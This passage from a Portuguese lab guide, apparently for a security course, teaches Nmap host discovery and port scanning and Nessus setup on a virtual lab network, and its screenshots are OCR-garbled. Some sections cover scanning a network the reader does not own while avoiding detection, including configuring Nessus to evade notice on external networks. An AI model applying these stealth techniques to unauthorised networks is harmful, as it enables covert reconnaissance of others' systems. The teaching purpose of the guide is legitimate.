varrer em sua rede. Este endereco IP é 192.168.6.2.

Nesta situacdo vamos disparar uma varredura diretamente contra o alvo especifico

192.168.6.2. Por enquanto n&o vamos nos preocupar com as opgdes de varredura.
1. Realize a varredura simplesmente digitando o enderego alvo no campo “Alvo”

da interface Zenmap.

A figura 10 mostra o resultado da nossa varredura:
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Scan  Tools  Perfil  Ajuda

Alvo: | 192.168.6.2 w | Perfil: | Intense scan v |
Comanda: | nmap T4 -A - 192, 165.6.2

Saida do Nmap | Ports | Hosts | Topology | Detalhes da Maguina | Scans -
8 @l o |map-T4 -8 v 192.168.6.2 ol

L 192.168.6.2

Starting Nmap 5.E51 { http://nmap.org ) at 2012-03-14 01:59 Hora oficial do Brasil
NSE: Loaded £7 scripts for scamning.

Initiating ARP Ping Scan at 01: 59

Scanning 192.16%.6.2 [l port]

Completed ARP Ping Scan at 01:5%, 0.13s elapsed {1l total hosts)
Initiating Parallel DNE resolution of 1 host. at 01:59

Completed Parallel DNES resolution of 1 host. at 0l:53, 0.Z8s elapsed
Initiating SYN Stealth Scan at 01: 89

Scanning 192.168.6.2 [1000 ports]

Completed 3TN Stealth Scan at 01:59, 1.45= elapsed (1000 total ports)
Initiating Service scan at 01: 59

Initiating 03 detection (try #1l) against 192 _168.6.2

Retrying 05 detection i(try #Z) against 192.168%8.6.2

Hmap scan report for 192 168_6.2

Hoszt iz up (0.001és latency).

Not shovm: 299 closed ports

PORT STATE SERVICE VERSION

B3/ filtered domain |

MAC Addrvess: 00:50:E6:FE:D9:4Z (VHware)

Warning: 085can results may be unreliable because we could not find at least 1 open and 1
closed port

Device type: general purpose|print server|printer|specialized|WAP |media dewice|power-dewice
Punning (JUST GUEZSING): EBlusbird SuperD02 (91%), Brother embedded (21%), Eapsch embedded
(9l%), Ness embedded (91%), Nowvatel ewmbedded (31%), Sony embedded (51%), Technifat embedded
(31%), APC A03 Z.X (21%)

Aggressive 05 guesseg: Elusbird SuperD0S (91%), Brother NC-130h print server (2l%), Brother
HL-2070M (31%), Brother HL-Z070N printer (51%), Brother HL-E070N printer (21%), EBrother
MFC-72Z0N printer (91%), Brother MFC-94Z0CN printer (91%), Kapsch elesctronic toll
collection system (31%), Ness M1-XEF home automation interface (31%), Novatel MiFi 2200 3G
WAR (31%)

No exact 02 matches for host (test conditions non-ideall).

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDREZE
1 1. 62 ms 192 168 6.2

Bead data files from: C:‘Arcquivos de programas'Nmap
0% and Serwice detection performed. Please report any incorrect results at http: //mmap.org/
submit/ .
Mmap dome: 1 IP address (1 host up) scanned in 6. 88 seconds
Ray packets zent: 10Z0 (47.708KE) | Rowd: 1010 (40.350EE)

ll Filter Hosks ]

Figura 10 - Exemplo 1 de saida do NMAP

Como podemos observar na figura 10, a saida do Nmap mostra na tabela de portas
que a porta de namero 53 utiliza o protocolo TCP, encontra-se no estado “filtrada”
(isso significa que existe um filtro, firewall ou algum outro obstaculo na rede
blogueando a porta de forma que o Nmap ndo consegue determinar se a porta esta
aberta ou fechada) e o servigo que esta ouvindo nesta porta € um servidor de nomes

de dominios (“domain” como aparece no nome do servigo).
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Sabemos que a porta esté aberta, pois em se tratando de um servigco de DNS que
estq ouvindo nesta porta, ele deve estar sempre atento para o caso de algum IP
solicitar alguma traducédo de enderegos.

Situacdo 2: Executando o nimero maximo de maquinas virtuais na rede que
vocé puder, suponha que vocé desconheca o nimero de maquinas existentes
na rede e os seus enderegcos IPs. Suponha também que a rede é de sua
propriedade e que ndo h4 problema nenhum varrer a rede a procura de hosts
ativos.

Nesta situagdo iremos disparar uma busca de hosts por toda a faixa de IPs em que
as maquinas virtuais podem estar alocadas. Para isso iremos utilizar outro tipo de
enderegcamento, chamado de CIDR. Neste tipo de enderegamento, iremos passar ao
Nmap um endereco base seguido do nimero de bits que o Nmap deve manter no
inicio do endereco, variando os outros bits.

As nossas maquinas virtuais serdo alocadas pelo VMware por padrdo no intervalo
de IP de 192.168.6.0 até 192.168.6.255. Desta forma iremos manter sempre o
enderecgo base 192.168.6.X e variar 0 X para a nossa varredura. Como cada posi¢gao
no endereco IP ocupa 8 bits no enderecamento, entdo o nosso X final ird ocupar

também 8 bits, como mostra a figura 11.

192.168.6.X

P W
8 bits 8 bits 8 bits 8 bits

Figura 11 - Endereco das méaquinas virtuais

Desta forma o endereco que iremos varrer serd: 192.168.6.1/24



82

O dltimo numero digitado (1) sera ignorado pelo Nmap uma vez que ele ira realizar
uma varredura para cada combinacdo dos ultimos 8 bits possiveis. O numero 24
indica que iremos fixar os primeiros 24 bits e variar o restante de um total de 32 bits.
Uma forma alternativa de se especificar uma faixa de enderecos € através do uso do
traco (-) Ex: 192.168.6.1-255.
Agora que sabemos qual o intervalo de hosts devemos varrer, basta varrer todas as
portas de todos os hosts, certo?
Como nés pretendemos fazer isso de forma eficiente, evitando um grande
desperdicio de tempo a resposta €: Errado. Ainda ndo temos idéia de quantos hosts
existem na rede e destes existentes quantos deles estardo ativos no momento em
que realizarmos a varredura. Pode ser interessante saber o total de hosts na rede e
podemos economizar recursos e tempo varrendo somente os hosts que estao ativos
neste momento.
Como nesta situagdo estamos fazendo uma varredura em uma rede de nossa
propriedade e ndo temos problemas quanto a identificacdo de nossa varredura,
utilizaremos o tipo de varredura por ping para descoberta de hosts que pode ser
facilmente detectado.

2. Paraisso, digite no campo “Comando”: nmap —sP -v 192.168.6.1/24
Este € o comando para varrer com o Nmap utilizando a op¢cdo —sP (varredura
usando ping) na faixa de enderecos CIDR de 192.168.6.0 até 192.168.6.255. A
opcéo —-v faz com que o Nmap mostre mais informagdes sobre a varredura, entdo a
partir de agora utilizaremos ela sempre.
Ao final da varredura, o Nmap deve listar o estado de todos os hosts da rede e é
natural que muitos deles estejam inativos, como mostra a figura 12, pois 0 numero

de maquinas virtuais que podemos executar simultaneamente ndo é muito grande.
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Nmap scan report for 192.168.6.132 [host down]
Nmap scan report for 192.168.6.133 [host down]
Nmap scan report for 192.168.6.134

Host is up (0.08087s latency).

MAC Address: 00:0C:29:CC:F2:FA (VMware)

Nmap scan report for 192.168.6.135 [host down]
Nmap scan report for 192.168.6.136 [host down]
Nmap scan report for 192.168.6.137 [host down]
Nmap scan report for 192.168.6.138 [host down]

Figura 12 - Exemplo 2 de saida do NMAP

Situacdo 3: Tome por base a situagdo 2, mas desta vez, suponha que a rede
ndo é de sua propriedade e que vocé deve evitar ao maximo levantar suspeitas
de que arede esta sendo varrida.

Neste caso, ndo podemos simplesmente disparar uma varredura pela rede utilizando
a opgao —sP como utilizamos na situagéo anterior, porque o fato de ela usar o “ping”
convencional para a descoberta de hosts torna esta opc¢ao facilmente detectavel por
um firewall da rede por exemplo.

Para resolver este problema, o Nmap nos oferece algumas opc¢des diferenciadas
para o uso do ping. Nestas op¢cdes o Nmap utiliza-se da estratégia de ndo completar
a conexdo com o host alvo para evitar a detecgéo.

Por exemplo na opgdo —PS pacotes TCP vazios sdo enviados com a flag SYN
marcada para uma porta do host alvo. A flag SYN indica aos sistemas remotos que
vocé esta tentando estabelecer uma comunicagao. Caso esta porta esteja fechada
vamos receber um pacote RST de volta, indicando o fim do processo de

“handshake” como mostra a figura 13:
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NMAP: Porta do alvo fechada

Nmap Alvo

TCP/SYN

WV

< RST

Figura 13 - Exemplo 1 de comunica¢&do do NMAP com o alvo

Caso a porta esteja aberta, vamos receber um pacote TCP SYN ACK e teoricamente
deveriamos responder com um pacote TCP ACK para finalmente completar o
“handshake” de 3 vias e estabelecermos uma conexao com o alvo, como mostra a

figura 14:

NMAP: Conexao estabelecida com a porta do alvo

| Nmap I | Alvo I

TCP/SYN N
7

TCP/SYN/ACK
TCP/ACK N
7

Figura 14 - Exemplo 2 de comunica¢do do NMAP com o alvo
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Entretanto se respondermos com um pacote TCP ACK e estabelecermos uma
conexd@o com o host alvo, iremos expor a nossa conexédo, podendo levar a detecgéo
da nossa varredura. Para isso o Nmap ira responder com um pacote RST resetando
a conexao e impedindo que ela seja completada, como mostra a figura 15. Neste
ponto, o Nmap j& capturou o pacote TCP SYN ACK e ja sabe que a porta esta
aberta, assim o fato de derrubar a conexao imediatamente apds receber o pacote,
implica em ndo sermos descobertos mas ndo implica em perdas de informagdes

para o Nmap.

NMAP: Conex&o ndo estabelecida com o alvo

| Nmap I | Alvo I

TCP/SYN N
Vd

TCP/SYN/ACK
RST N
Vd

Figura 15 - Exemplo 3 de comunicag¢&do do NMAP com o alvo
3. Faga o teste varrendo a rede com a opgéo —PS utilizando o comando: nmap
—PS -v 192.168.6.1/24

Veja na saida do Nmap mostrada pela figura 16, que agora ele esta utilizando a

técnica de varredura por SYN:



Initiating Parallel DNS resolution of 1 host. at 1&6:1%

Completed Parasllel DNE resolution of 1 host. at 1&:15, 0.1l6=s elapsed
Initiating 5YM S2tealth S5can at 16:15

Scanning € hosts [1000 portsfshost]

Completed 5TN Stealth Bcan against 192 168.6.2 in 1.3%= (1 host left)
Discovered open port 90Z/tcp on 192 168_6.1

Discovered open port 312 /tcp on 192 168._6.1

Completed 5TN Stealth Bcan at 16:1&5, 4.75=s elapsed (Z000 total ports)
Nmap scan report for 1922 168 6.1

Host iz up (0.00%4s latency).

Not showm: 998 filtered ports

PFORT STATE SERVICE

902ftcp open iss-realsecure

912ftcp open apex-mesh

MAC Addresz: 00:50:L56:C0:00:08 (VMware)

Figura 16 - Exemplo 3 de saida do NMAP
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Similarmente a esta op¢do, 0 Nmap oferece também a opc¢do —PA que ao invés de

enviar pacotes do tipo TCP SYN, envia pacotes do tipo TCP ACK.

Neste contexto os pacotes do tipo TCP ACK indicam uma confirmacdo do

recebimento de dados de uma conexdo TCP estabelecida, quando na verdade nao

existe nenhuma conexdo estabelecida com o alvo. Desta forma o alvo deve

responder ao pacote TCP ACK com um pacote RST para encerrar a conexao, como

mostra a figura 17, entretanto esta agao revela a existéncia do alvo caso ele exista e

esteja ativo na rede.

NMAP: Alvo nao reconhece conexao TCP

Nmap Alvo

TCP /ACK

A\

?77?

< RST

Figura 17 - Exemplo 4 de comunica¢do do NMAP com o alvo
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4. Faga o teste varrendo a rede com o comando: nmap —PA -v 192.168.6.1/24
Os resultados devem ser similares aos da varredura pela opgéo —PS. Entretanto em
alguns casos, a existéncia de um firewall bloqueando pacotes do tipo SYN, mas
aceitando pacotes do tipo ACK pode fazer os resultados serem mais claros na opgéao
—PA.

Situagédo 4: Suponha que vocé queira descobrir os hosts da rede e vocé sabe
gue podem existir firewalls bloqgueando o caminho. Caso os pacotes do Nmap
encontrem um firewall, a resposta pode ser comprometida e ndo condizer com
a realidade. Sabendo disso, vocé precisa maximizar as chances de obter bons
resultados.

Ja vimos aqui que a opcédo —PA pode ser uma alternativa a op¢do —PS para driblar
algum firewall que esteja bloqueando pacotes do tipo TCP SYN. Entretanto ainda
pode ser provavel que pacotes do tipo TCP ACK enviados por engano (0 que no
nosso caso € proposital) sejam ignorados e despachados. Para aumentar ainda
mais as chances de detectar os hosts da nossa rede, podemos utilizar ainda a opgao
de pacotes UDP. Alguns firewalls estdo programados apenas para ignorarem e
descartarem pacotes TCP mas n&o pacotes UDP. Desta forma a opc¢édo —PU pode
ser uma alternativa para a nossa detecgao.

5. Faga o teste com o comando: nmap —PU -v 192.168.6.1/24
A sondagem UDP normalmente é realizada em uma porta alta que provavelmente
estara fechada e deve causar um pacote ICMP de porta inalcangavel como resposta.
Isso diz ao NMAP que a maquina esta ativa e disponivel.

Entretanto isso ndo nos da nenhuma garantia de que conseguimos detectar todos o0s

hosts da rede com sucesso, pois ha firewalls que estdo configurados para
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bloquearem todos ou quase todos os tipos de pacotes de hosts desconhecidos.

Desta forma, a maquina alvo pode néo responder a nenhum pacote ICMP,

impedindo a deteccéo.

6. Faca o teste novamente repetindo o comando nmap —PU -v 192.168.6.1/24

mas desta vez ative o Firewall do Windows de uma das maquinas virtuais e

veja o resultado.

Como mostrado na figura 18, vocé pode ativar o Firewall clicando duplamente no

icone do escudo vermelho proximo ao relégio e em seguida va até “Gerenciar

configuracdes de seguranca para:” e cligue em “Firewall do Windows”. Na aba

“Geral” selecione a opg¢éao “Ativado” e clique em OK.

Central de Seguranga do Windows.

-

0} Recursos ES

[

%= Firewall do Windows

0 Firewall do "Windows ajuda a proteger seu computador, impedindo gue usuanos
ndo autorizados obtenham acesso ao seu computador ou pela Internet por uma
reds.

@ (%) Ativado [recomendavel]

Esta configuragdo impede que todas as fontes extemas se conectem
a este computador, exceto aquelas selecionadas na guia Excegdes.

[[1N&o permitir excegdes

Selecione ests caixa quando vocé se conectar a redes publicas em
locais menos seguros, coma aeroportas, Wocé serd naotificada quando
o Firewall doWindows bloguear programas. Selegies na guia
Excegiies serdo ignoradas,

@ oo

Evite uzar ests configuracio. & desativago do Firewall do Windows
pode tamar este computadar mais vulherdvel a virus e invasores.

do [ndo davel)

0 que mais dewvo saber sobre o Firewall do ‘wWindows?

A Microsoft tem um compromi;

Figura 18 - Ativag&o do Firewall no Windows XP

Vocé ira notar que desta vez as portas antes detectadas pela varredura ndo

COMm a sua privacidade. Leianossa .

@ Central de Seguranca

Ajude a proteger o seu PC

Dados Basicos de Seguranca

A Central de Seguranca ajuda a gerenciar as configuragdes de sequranca do Windows. Para ajudar &
prokeger seu computador, certifique-se de que os trés elementos basicos de sequranca estdo
ATIVADOS, Se as configuragdes de sequranca ndo estiverern ATIVADAS, siga as recomendacies,
Para voltar a Central de Seguranca mais karde, sbra o Painel de Controle,

© gue ha de nowvo no Windows para ajudar a proteger meu computsdor? |

@ ATIVADO | =

© DESATIVADO | =

As AtualizacBes Automdticas estdo desativadas. Seu computador est mais vulnervel 5 virus e
outras ameacas de seguranca. Clique em Ativar Atualizacdes Automéaticas para que o Windows
automaticamente mantenha seu computador em dia com as atuslizac8es mais importantes, Como
as dtuslizaciies Automaticas ajudam a prokbeger meu computsdor?

[ Ativar Atuslizacdes Automaticas ]

O Windows ndo encontrou nenhum programa antivirus neste computadar. Programas antivirus
ajudam a proteger seu computador conkra wirus e oukras ameacas de seguranca, Clique em
Recomendacfes para obter sugesties de acfies a serem tomadas, Como programas antivirus
ajudarn & profeder meu compuksdor?

Obs.: O Windows ndo detecta todos os programas antivirus,

Recomendacdes, ..

Gerenciar configuracdes de seguranca para:

@ Opcides da Internet

% Firewall do Windows

% Atualizacdes automaticas

mais

foram detectadas na maquina em que o firewall foi ativado.
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Tarefa 2: Varredura de portas
Agora que ja conhecemos 0s n0ssos possiveis alvos na rede, ndo precisamos mais
disparar varreduras por toda a rede, evitando o desperdicio dos nossos recursos e
do nosso tempo. Para isso anote os enderecos de IPs encontrados em suas
varreduras anteriores, pois iremos utilizad-los novamente aqui.
Basicamente as técnicas que utilizamos para o descobrimento de hosts sdo as
mesmas que iremos utilizar para a varredura de portas. Essas técnicas podem ser
inclusive combinadas para que tenhamos uma varredura mais completa, como por
exemplo, TCP e UDP. Mas simplesmente ativar todas as opg¢bes de busca ao
mesmo tempo pode fazer com que o tempo de busca se torne muito alto,
inviabilizando a nossa varredura.
Situacdo 1: Vocé néo tem privilégios de administrador (ou root) mas quer fazer
uma varredura nos hosts descobertos a procura de portas.
Neste caso vocé nado podera utilizar a op¢cdo de TCP SYN do Nmap, pois esta op¢cao
utiliza pacotes brutos e para utilizar estes pacotes é necessério ter privilégios de
administrador (ou root). Entretanto existe uma opc¢&o de varredura de portas no
Nmap para este caso e ela se chama “Scan TCP Connect” —sT.
Para realizar este teste utilize de preferéncia um terminal de uma maquina virtual
Ubuntu sem o privilégio de root. Certifique-se antes de que haja na rede pelo menos
1 méquina virtual Windows com o Firewall do Windows ativado.

1. Digite o comando: nmap —sT -v 192.168.6.X (Substitua o X pelo namero final

de um IP que vocé encontrou em sua rede durante a descoberta de hosts)

Vocé ainda pode colocar uma faixa de IPs no lugar de apenas 1, caso tenha
encontrado vérios IPs sequenciais na rede, ou entdo pode digitar vérios enderegos

de IPs na mesma pesquisa.
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Vocé ir4 notar que o Nmap néo conseguiu identificar a presenca da maquina alvo na
rede, como mostrado na figura 19, pois o Firewall do Windows esta descartando o

pedido de conexéo enviado pelo Nmap:

F YT

labtest@ubuntu: ~
File Edit WView Search Terminal Help
labtest@ubuntu:~$% nmap -v -sT 192.168.6.131

Starting Nmap 5.21 ( http://nmap.org ) at 2012-083-13 84:34 PDT
Initiating Ping Scan at 84:34

Scanning 192.168.6.131 [2 ports]

Completed Ping Scan at ©04:34, 3.02s elapsed (1 total hosts)

Nmap scan report for 192.168.6.131 [host down]

Read data files from: /usr/share/nmap

Note: Host seems down. If it is really up, but blocking our ping probes, try -PN
Nmap done: 1 IP address (© hosts up) scanned in 3.17 seconds

labtest@ubuntu:~$

Figura 19 - Exemplo 4 de saida do NMAP

2. Agora va até a maquina virtual Windows e desative o firewall (similarmente ao

método explicado na figura 18) e repita o teste.

@& @  labtest@ubuntu: ~

File Edit wview Search Terminal Help

Completed Ping Scan at ©4:39, 1.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 84

Completed Parallel DNS resolution of 1 host. & B4 : , 8.155 elapsed
Initiating Connect Scan at ©4:39

Scanning 192.168.6.131 [1000 ports]

d open port 1
d open port 86, 192.168.6.131
Connect Scan at 04:39, 1.58s elapsed (1868 total ports)

Nmap scan report for 192.168.6.131
Host is up (©.8819s latency).
Mot shown: 996 closed ports

STATE SERVICE

open http

open msrpc

open netbios-ssn

open microsoft-ds

Read data files from: fusr/share/nmap
Nmap d : 1 IP address (1 host up) scanned in 2.94 seconds
labtest@ubuntu:—5% i

Figura 20 - Exemplo 5 de saida do NMAP

Como mostra a figura 20, vocé vera que agora o Nmap consegue detectar que o
host esta ativo na rede e consegue detectar também as suas portas abertas.

Mas esta técnica sO € interessante de ser usada no caso de o usuario ndo ter
privilégios de administrador, pois ela tentara se conectar utilizando o protocolo TCP

com cada porta do host alvo e por isso pode ser facilmente detectada, visto que ela
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irA completar a conexdo em caso de encontrar uma porta aberta. Além disso ela
pode facilmente falhar em seus resultados caso encontre algum bloqueio pela frente,
como um firewall.
Situacd@o 2: Vocé tem privilégios de administrador (ou root) e quer fazer uma
varredura nos hosts descobertos a procura de portas.
O fato de termos privilégios de administrador nos permite a utilizacdo de pacotes
brutos para a investigagcdo de portas nos hosts alvos. Para isso a opg¢do mais
utilizada no Nmap para descoberta de portas € a “Scan TCP SYN” que da mesma
forma como vimos na descoberta de hosts, ndo completa a conex&do com as portas
alvo e é mais dificil de ser detectada.
3. Para testé-la digite o comando sudo nmap -v —sS 192.168.6.X em um
terminal Ubuntu e em seguida digite a senha do usuério (labtest)
Entretanto a presenca de firewalls atrapalha os resultados de varreduras realizadas
com esta op¢éao.
4. Faga o teste com o firewall do Windows ativado e desativado.
Para maximizar as chances de passar por firewalls, pode-se acrescentar a varredura
a opcdo de “Scan UDP” —sU, mas isso tornard a varredura mais lenta e nédo
garantird os resultados caso o firewall também bloqueie pacotes UDP.
Assim podemos criar um novo comando que utiliza as duas opgbes ao
mesmo tempo: sudo nmap —v —sS -sU 192.168.6.X. Faga o teste e note que
agora o Nmap varre a procura de portas utilizando ambos protocolos TCP e

UDP.

6.2 — Scanner de Vulnerabilidades Utilizando o NESSUS

Objetivos
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e Entender e criar politicas de varredura para 0s nossos testes.

e Descobrir vulnerabilidades de seguranga em diferentes hosts da rede interna
e externa.

e Analisar o resultado de tais vulnerabilidades e as medidas que podem ser

tomadas para mitig4-las ou elimina-las.

Pré-Requisitos
e Leitura da secéo 4.2 — Scanner de Vulnerabilidades: NESSUS
e Execucao simultdnea de pelo menos 1 maquina virtual Windows e 1 maquina

virtual Ubuntu para a realizagdo dos testes.

Neste roteiro vamos utilizar o Nessus em sua versdo 5.0.0 instalado na méquina
virtual Ubuntu para procurar por vulnerabilidades em hosts da rede (Windows e
Linux) e posteriormente analisar estas vulnerabilidades para saber qual € o grau de
risco de cada uma delas e o que podemos fazer para mitiga-las ou até elimina-las.
O Nessus ja encontra-se instalado em nossa maquina virtual Ubuntu que é a
maquina que utilizaremos para executar o Nessus e realizar as varreduras por
vulnerabilidades. Entretanto, para instalarmos e configurarmos o Nessus em
sistemas Ubuntu devemos proceder da seguinte forma:
1. Va até o site (TENABLE [B], 2012) e cligue em “AGREE” para concordar com
os termos de prestagao de servigo.
2. Fagca o download da opgdo Ubuntu 11.10 (32 bits): Nessus-5.0.0-
ubuntul110_i386.deb (24668 KB).
3. Emum terminal va até o diretério onde esta o pacote deb e digite: sudo dpkg -
i Nessus-5.0.0-ubuntu1110_i386..deb (senha root: “labtest”), vocé devera ver

uma tela como mostrada na figura 21.
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labtest@ubuntu:~/Desktop$ sudo dpkg -i Messus-5.0.0-ubuntulll®_i386.deb
[sudo] password for labtest:

(Reading database ... 147278 files and directories currently installed.)
Preparing to replace nessus 5.0.0 (using Nessus-5.0.0-ubuntul116_1i386.deb)
SShutting down Nessus :

Unpacking replacement nessus

Setting up nessus (5.0.0)

nessusd (Nessus) 5.0.0 [build R23818] for Linux

(C) 1998 - 2012 Tenable Network Security, Inc.

Processing the Nessus plugins...
[#u AR R SR R R R ]

ALl plugins loaded

- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://ubuntu:8834/ to configure your scanner

Processing triggers for ureadahead ...

Figura 21 - Instalagdo do Nessus

4. No terminal inicie o Nessus servidor digitando: sudo /etc/init.d/nessusd start
5. Em um navegador web digite: https://ubuntu:8834 para acessar a interface
Web Server do Nessus e em seguida clique em “Get Started” como mostrado

na figura 22.

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

+ High-speed vulnerability discovery, to determine which hosts are running which services

« Agentless auditing, to make sure no host on your network is missing security patches

+ Compliance checks, to verify and prove that every host on your network adheres to the security policy you defined
« Scan scheduling, to automatically run scans at the frequency you select

+ And more!

During the next steps, we are going to create an administrative account and register your scanner with a Plugin Feed, which we will download. You will need
an Activation Code before you can use Nessus; if you do not have an Activation Code already, please go to http://www.nessus.org/register/ to get one now.

Get started >

Figura 22 - Interface Web Server do Nessus

6. Crie um login e uma senha para a conta de administrador, no Nnosso caso
login: labtest senha: labtest.

7. Em seguida sera necessario digitar o cédigo de ativacdo. Para isso visite
(TENABLE [A], 2012) e selecione a op¢do “Home Feed” a qual € gratuita e

para uso doméstico, como pode ser visto na figura 23.
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TENABLE PRODUCTS

> Product Overview

> Nessus Auditor Using Nessus at Work? | Using Nessus at Home?
Bundles A ProfessionalFeed subscription | A HomeFeed subscription is

> Nessus Plugins is required for all uses of free and for home use only.

> Documentation Nessus outside of the home

> Nessus FAQ

> Deployment Options
> Training

> Nessus Evaluation

Figura 23 - Obtencéo de codigo de ativacdo do Nessus

8. Seréa necessario concordar com os termos e em seguida clicar em “AGREE”.

9. Preencha seu nome e e-mail para receber o cédigo de ativacéo.

10.Insira o codigo de ativacédo e aguarde até que o Nessus faca o download dos
plugins mais atuais.

11.Entre com o login e senha do administrador para criar um outro usuario.

12.Clique em Users e em seguida em Add.

13.Escolha um nome de usuario e uma senha e em seguida cligue em Submit
(certifique-se de nao ter marcado a caixa de selecéo “Administrator”).

14.Pronto! Agora basta utilizar a interface Web Server do Nessus com 0 novo

usuario criado para realizar as varreduras por vulnerabilidades.

Se vocé ainda néo iniciou o Nessus servidor, inicialize-o em um terminal de
comandos do Ubuntu através do comando: sudo /etc/init.d/nessusd start em
seguida acesse a interface Web Server do Nessus através do navegador web em:
https://ubuntu:8834

Para testar o Nessus, iremos realizar aqui 3 tarefas sequienciais que séo: Definir as
politicas que o Nessus ird utilizar para fazer a varredura, realizar a varredura
propriamente dita de acordo com as politicas definidas e por fim analisar os

resultados obtidos.
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Tarefa 1: Definir as politicas

Nesta tarefa vamos analisar as politicas existentes do Nessus e também criar
nossas politicas para executar as nossas varreduras. Entretanto a criacdo de
politicas no Nessus ndo é uma tarefa por definicdo estatica, pois a constante
atualizacdo dos plugins utilizados pelo Nessus pode nos oferecer diferentes opgdes
de configuragOes de acordo com novos plugins adicionados. O fato de as varreduras
do Nessus darem cobertura a muitas vulnerabilidades faz com que a lista de opg¢des
de configuragdes seja um pouco extensa, de modo que vamos desconsiderar muitas
delas e deixar a configuragdo padréo, como indica o préprio manual da ferramenta.
Antes de criarmos novas politicas note que o Nessus ja traz algumas politicas
definidas. Confira clicando na aba “Policies” que aparece na parte superior da

interface, como mostra a figura 24:

labiast | Help | About | Log out

Policies

@ Import Policy @ Add @ Export @® Copy @ Eat @ Delete

Name Visibllity ‘ Owner

External Network Scan Shared Tenable Policy Distribution Serviee
Prepare for PCI-DSS audits (section 11.2.2) Shared Tenable Policy Distribution Serviee
Wab App Tests Shared Tenable Policy Distribution Serviee

Internal Network Scan Shared Tenable Policy Distribution Service

Figura 24 - Politicas pré-definidas do Nessus

Vocé pode analisar detalhadamente as configuracdes de cada politica definida pelo
Nessus se fizer login como administrador e clicar em “Edit” ap6s selecionar uma das
politicas.

Agora vamos criar nossas proprias politicas para varrer as redes.

Para as configuragfes que ndo forem citadas, deixe-as como estdo por padréo.
Politica 1: Rede virtual

1. O primeiro passo € clicar em “Add” na aba “Policies”.
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Em seguida no submenu “General” vamos preencher na érea “Basic” o nome
da nossa politica no campo “Name” com “Rede virtual”.

Na area “Scan” vamos desmarcar a op¢ao “Safe Checks”, pois esta op¢ao
fard com que o Nessus néo utilize plugins que possam causar instabilidade no
alvo remoto. Como nds vamos varrer a nossa propria rede virtual e esta é
uma rede criada para testes, ndo h& problemas caso isso aconteca.

Na area “Network Congestion” iremos deixar ambas opc¢bes desmarcadas
como estdo, pois ndo € preciso nos preocuparmos com 0 congestionamento
em nossa rede virtual.

Na &rea “Port Scanners” também néo iremos mexer. Aqui o Nessus ir4 utilizar
o Nmap instalado em nossa maquina virtual para efetuar a varredura a
procura de portas.

Na area “Port Scan Options” iremos alterar o campo “Port Scan Range” para
“all”. Esta politica tera o objetivo de varrer a nossa rede virtual e como
sabemos que a nossa rede ndo € muito grande devido as nossas limitagfes
de executar muitas maquinas virtuais ao mesmo tempo, podemos fazer a
varredura em todas as portas dos hosts.

Na area “Performance” deixaremos as configuracdes padrdes.

N&o iremos utilizar credenciais, portanto passemos para o submenu “Plugins”
para escolhermos quais plugins o Nessus ird utilizar para detectar possiveis
vulnerabilidades.

Note que por padréo todos os plugins estéo ativados. Como queremos fazer
uma varredura completa iremos deixar a maior parte deles ativados,
desativando apenas alguns que ndo sdo interessantes para a nossa rede

virtual.
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10.Clique na bolinha verde das seguintes familias de plugins para desativa-las
por completo (ela ficara cinza), pois ndo serdo Uteis em nossa politica
personalizada para varrer a rede interna a qual conhecemos:

a. AIX Local Security Checks: Verificagdes para sistemas IBM AlX.

b. CentOS Local Security Checks: Verificagcbes para sistemas CentOS
Linux.

c. CGI abuses: Verificagbes para aplicagbes web, incluindo testes de
injecdo SQL, inclusdo de arquivo local (LFI), inclusdo de arquivo
remoto (RFI), entre outros.

d. CGI abuses : XSS: Verificagdes para aplicagbes web em cross-site
scripting (XSS).

e. FreeBSD Local Security Checks: Verificacdes para sistemas FreeBSD.

f. HP-UX Local Security Checks: Verificagbes para sistemas HP-UX.

g. Junos Local Security Checks: Verificacbes para sistemas Juniper
Junos.

h. MacOS X Local Security Checks: Verificagcbes para sistemas Apple
Mac OS X.

i. Solaris Local Security Checks: Verificacbes para sistemas Oracle
Solaris.

11.Dé uma olhada nas preferéncias do submenu “Preferences”. A lista de
preferéncias muda de acordo com os plugins instalados no Nessus. Nao seré
preciso alterar nada em “Preferences” pois os valores preenchidos por padréo
pelo Nessus ja esta adequado para nossa varredura.

12.Por fim, cligue em “Submit” para salvar a nova politica.

Politica 2: Rede externa
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1. Siga os mesmos passos da Politica 1, apenas mudando o preenchimento de
alguns campos.

2. No submenu “General” preencha na érea “Basic” no campo “Name” com o
nome “Rede externa”.

3. Na area “Scan” iremos deixar as seguintes op¢des marcadas:

a. Allow Post-Scan Report Editing: Nos permite a edicdo do relatério apos
a varredura.

b. “Safe Checks” automaticamente faz com que o Nessus desmarque
plugins que podem causar algum tipo de dano a rede. Como iremos
varrer uma rede externa a qual desconhecemos é importante marcar
esta opcao.

c. Silent Dependencies: N&o inclui a lista de dependéncias entre plugins
no relatorio da varredura.

d. Avoid Sequential Scans: Faz com que a varredura nédo seja sequencial
caso haja vérios IPs na rede, de modo a tentar evitar a detec¢do da
nossa varredura nas redes externas.

4. Na area “Network Congestion” iremos deixar ambas op¢des marcadas, para
que o Nessus administre o congestionamento de trafego e evite a sobrecarga
na rede externa.

5. Na area “Port Scanners” iremos deixar apenas a opgdo “SYN SCAN”
marcada, de modo que o Nessus ira utilizar o Nmap instalado em nossa
maquina virtual para efetuar uma varredura silenciosa a procura de portas.

6. Na area “Port Scan Options” iremos deixar o campo “Port Scan Range” em
“default” pois se a rede externa for muito grande, a varredura podera levar

muito tempo para terminar e gastara muito tempo a procura de portas pouco
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provaveis de serem utilizadas (0 Nessus ira varrer aproximadamente 4.790
portas comuns).

Na area “Performance” deixaremos as configuracdes padrdes.

N&o iremos utilizar credenciais, portanto passemos para o submenu “Plugins”
para escolhermos quais plugins o Nessus ird utilizar para detectar possiveis
vulnerabilidades.

Como vamos varrer diferentes redes externas, ndo sabemos exatamente que
tipos de sistemas operacionais os hosts da rede poderéo estar executando e
portanto deixaremos habilitados todos os plugins. Como marcamos a opg¢éo
“Safe Checks” o Nessus ira automaticamente desabilitar plugins que podem

ser danosos para a rede, de modo que néo precisaremos desmarca-los aqui.

10.Por fim, cligue em “Next” e depois “Submit” para salvar a nova politica.

Tarefa 2: Realizar a varredura
Para acessar a tela de varreduras cligue no menu superior “Scans”.
1. Cliqgue em “Add” e preencha os campos com 0s seguintes valores:
a. Name: Varredura de Rede Virtual 1
b. Type: Run Now
c. Policy: Rede Virtual

d. Scan Targets: 192.168.6.1/24

